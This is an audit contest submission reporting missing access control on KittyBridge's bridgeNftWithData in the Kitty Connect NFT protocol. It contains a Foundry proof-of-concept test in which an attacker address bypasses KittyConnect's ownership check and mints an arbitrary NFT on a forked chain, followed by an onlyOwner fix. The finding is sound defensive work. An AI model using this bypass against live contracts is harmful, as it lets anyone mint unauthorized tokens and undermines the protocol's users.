First Flight #12: Kitty Connect
First Flight #12: Kitty Connect
Beginner FriendlyFoundryNFTGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Directly calling `KittyBridge::bridgeNftWithData` makes anyone can mint any cat NFT they want

farismaulana

Summary

the intended flow for user to bridge their NFT is to call KittyConnect::bridgeNftToAnotherChain because it checks if the tokenId is actually owned by the msg.sender. This can bypassed by directly call KittyBridge::bridgeNftWithData and the resulting NFT bridged can be anything msg.sender desired

Vulnerability Details

if we looked into bridgeNftWithData it does not have proper check whether the msg.sender is KittyConnect or not, this happened in modifier or in the function body too.

function bridgeNftWithData(uint64 _destinationChainSelector, address _receiver, bytes memory _data)
external
onlyAllowlistedDestinationChain(_destinationChainSelector)
validateReceiver(_receiver)
returns (bytes32 messageId)
{
proof of code

add SEPOLIA_RPC_URL and FUJI_RPC_URL to .env file using value from infura/alchemy rpc url.

add this contract in test folder:

BridgeTest.t.sol:

// SPDX-License-Identifier: MIT
​
pragma solidity 0.8.19;
​
import {Test, console} from "forge-std/Test.sol";
import {DeployKittyConnect} from "../script/DeployKittyConnect.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {KittyConnect} from "../src/KittyConnect.sol";
import {KittyBridge, KittyBridgeBase, Client} from "../src/KittyBridge.sol";
import {IERC20} from
"@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.0/contracts/token/ERC20/IERC20.sol";
import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
​
contract BridgeTest is Test {
// sepolia as main chain
KittyConnect kittyConnect;
KittyBridge kittyBridge;
HelperConfig helperConfig;
HelperConfig.NetworkConfig networkConfig;
​
// fuji as other chain
KittyConnect kittyConnectFuji;
KittyBridge kittyBridgeFuji;
HelperConfig helperConfigFuji;
HelperConfig.NetworkConfig networkConfigFuji;
​
address kittyConnectOwner;
address kittyConnectOwnerFuji;
address partnerA;
address partnerB;
address user;
​
uint256 fujiFork;
uint256 sepoliaFork;
string FUJI_RPC_URL = vm.envString("FUJI_RPC_URL");
string SEPOLIA_RPC_URL = vm.envString("SEPOLIA_RPC_URL");
​
address linkTokenSepolia;
address linkTokenFuji;
​
function setUp() external {
fujiFork = vm.createFork(FUJI_RPC_URL);
sepoliaFork = vm.createFork(SEPOLIA_RPC_URL);
​
// FUJI CHAIN
vm.selectFork(fujiFork);
​
// fund address with LINK (Fuji)
linkTokenFuji = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846;
deal(linkTokenFuji, msg.sender, 10 ether);
​
// deploy to fuji
// we only need kittyConnect owner, KittyConnectFuji and KittyBridgeFuji
DeployKittyConnect deployerFuji = new DeployKittyConnect();
(kittyConnectFuji, helperConfigFuji) = deployerFuji.run();
kittyConnectOwnerFuji = kittyConnectFuji.getKittyConnectOwner();
kittyBridgeFuji = KittyBridge(kittyConnectFuji.getKittyBridge());
​
// SEPOLIA CHAIN
vm.selectFork(sepoliaFork);
​
// fund address with LINK (Sepolia)
linkTokenSepolia = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
deal(linkTokenSepolia, msg.sender, 10 ether);
​
// deploy sepolia
DeployKittyConnect deployer = new DeployKittyConnect();
​
(kittyConnect, helperConfig) = deployer.run();
networkConfig = helperConfig.getNetworkConfig();
​
kittyConnectOwner = kittyConnect.getKittyConnectOwner();
partnerA = kittyConnect.getKittyShopAtIdx(0);
partnerB = kittyConnect.getKittyShopAtIdx(1);
kittyBridge = KittyBridge(kittyConnect.getKittyBridge());
}
​
function test_bypassBridgeNftWithDataFromSepoliaToFuji() public {
address attacker = makeAddr("attacker");
​
// can be any arbitrary data set by attacker
bytes memory data = abi.encode(
attacker,
"Dog",
"Dog",
"ipfs://QmbxwGgBGrNdXPm84kqYskmcMT3jrzBN8LzQjixvkz4c62",
1, // passing 1 as dob
address(0) // passing address(0) as shopParter
);
​
// attacker bypassing KittyConnect and straight bridging to fuji
vm.prank(address(attacker));
bytes32 messageId =
kittyBridge.bridgeNftWithData(networkConfig.otherChainSelector, address(kittyBridgeFuji), data);
​
// after function above succeed, we simulate the CCIP
​
// Simulating Any2EVMMessage struct in memory with necessary information for receiving a cross-chain message
Client.Any2EVMMessage memory any2EvmMessage = Client.Any2EVMMessage({
messageId: messageId,
sourceChainSelector: networkConfig.chainSelector,
sender: abi.encode(address(kittyBridge)),
data: data,
destTokenAmounts: new Client.EVMTokenAmount[](0)
});
​
// change to fuji
vm.selectFork(fujiFork);
​
// simulate CCIP tx finalized and send any2EvmMessage using router
IRouterClient router = IRouterClient(kittyBridgeFuji.getRouter());
vm.prank(kittyConnectOwnerFuji);
kittyBridgeFuji.allowlistSender(address(router), true);
​
vm.prank(address(router));
kittyBridgeFuji.ccipReceive(any2EvmMessage);
​
// getting attacker tokenId
uint256 tokenId = kittyConnectFuji.getTokenCounter() - 1;
​
// getting unusual cat data
KittyConnect.CatInfo memory catInfo = kittyConnectFuji.getCatInfo(tokenId);
console.log("Cat name:", catInfo.catName);
console.log("Date of Birth:", catInfo.dob);
console.log("Shop Partner:", catInfo.shopPartner);
assertEq(kittyConnectFuji.ownerOf(tokenId), attacker);
}

then run the following command forge test --mt test_bypassBridgeNftWithDataFromSepoliaToFuji -vvv

suppose the KittyBridge.sol already fixed with the approval issue, the result of above command should PASS:

[PASS] test_bypassBridgeNftWithDataFromSepoliaToFuji() (gas: 441970)
Logs:
Cat name: Dog
Date of Birth: 1
Shop Partner: 0x0000000000000000000000000000000000000000

Impact

Anyone can mint NFT with any data they want, breaking the purpose of ShopPartner and the whole purpose of the protocol in general.

Tools Used

manual review and foundry

Recommendations

Implement onlyOwner modifier as the KittyBridge contract already imported and inherited the Ownable contract so the fix is implementing the modifier.
This should enough to prevent anyone expect the KittyConnect contract to bridge the NFT.

add this line of code to the KittyBridge.sol

function bridgeNftWithData(uint64 _destinationChainSelector, address _receiver, bytes memory _data)
external
onlyAllowlistedDestinationChain(_destinationChainSelector)
validateReceiver(_receiver)
+ onlyOwner
returns (bytes32 messageId)
{

then run the following command forge test --mt test_bypassBridgeNftWithDataFromSepoliaToFuji -vvv and the result should FAIL:

[FAIL. Reason: revert: Ownable: caller is not the owner] test_bypassBridgeNftWithDataFromSepoliaToFuji() (gas: 20673)
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`bridgeNftWithData` misses access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.